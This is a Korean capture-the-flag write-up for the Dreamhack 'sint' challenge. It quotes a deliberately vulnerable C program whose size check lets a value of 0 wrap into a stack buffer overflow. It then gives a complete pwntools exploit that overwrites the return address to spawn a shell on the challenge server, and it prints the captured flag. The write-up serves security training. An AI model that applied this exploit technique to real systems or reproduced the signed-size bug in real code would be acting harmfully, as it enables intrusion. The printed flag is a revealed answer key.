[dreamhack] sint writeup

1. 문제

thumbnail
sint

이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, 'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/25

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

size 변수에 입력을 받아서 이 값이 256보다 크거나 0보다 작으면 buffer overflow를 출력하고 프로그램을 끝낸다. 만약 이 검사를 통과하면 buf 변수에 size-1만큼 입력받게 된다.


문제 이름이 sint라고 되어있어서 처음에는 unsignedsigned의 차이를 이용하는 것인가 생각했다. 그런데 잘보면 size 변수가 0일때는 검사를 하지 않는 것을 알 수 있다.

그래서 만약 size 변수에 0을 넣게 되면 검사는 당연히 통과하고 size-1을 수행할때 256 바이트보다 더 많이 입력이 가능해지면서 bof가 발생한다.

gdb를 통해 얼마나 덮어야하는지 확인해보자.

buf변수가 리턴주소에서 260바이트만큼 떨어져있음을 볼 수 있다.

정리하면 payload는 아래와 같아질 것이다.

payload = dummy (260) + sfp (4) + get_shell(4)

최종 exploit은 다음과 같다.

from pwn import *

#p = process("./sint")
p = remote("host3.dreamhack.games", 17234)
e = ELF("./sint")
get_shell = e.symbols["get_shell"]

print(p.recvuntil("Size: "))
p.sendline("0")

print(p.recvuntil("Data: "))

payload = b'a' * 260
payload += b'b' * 4
payload += p32(get_shell)

p.send(payload)

p.interactive()

서버에 전송해본 결과이다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/sint$ python3 e_sint.py 
[+] Opening connection to host3.dreamhack.games on port 17234: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/sint/sint'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
/home/ubuntu/dreamhack/level1/sint/e_sint.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(p.recvuntil("Size: "))
b'Size: '
/home/ubuntu/dreamhack/level1/sint/e_sint.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("0")
/home/ubuntu/dreamhack/level1/sint/e_sint.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(p.recvuntil("Data: "))
b'Data: '
[*] Switching to interactive mode
$ 
$ cat flag
DH{d66e84c453b960cfe37780e8ed9d70ab}$

해결~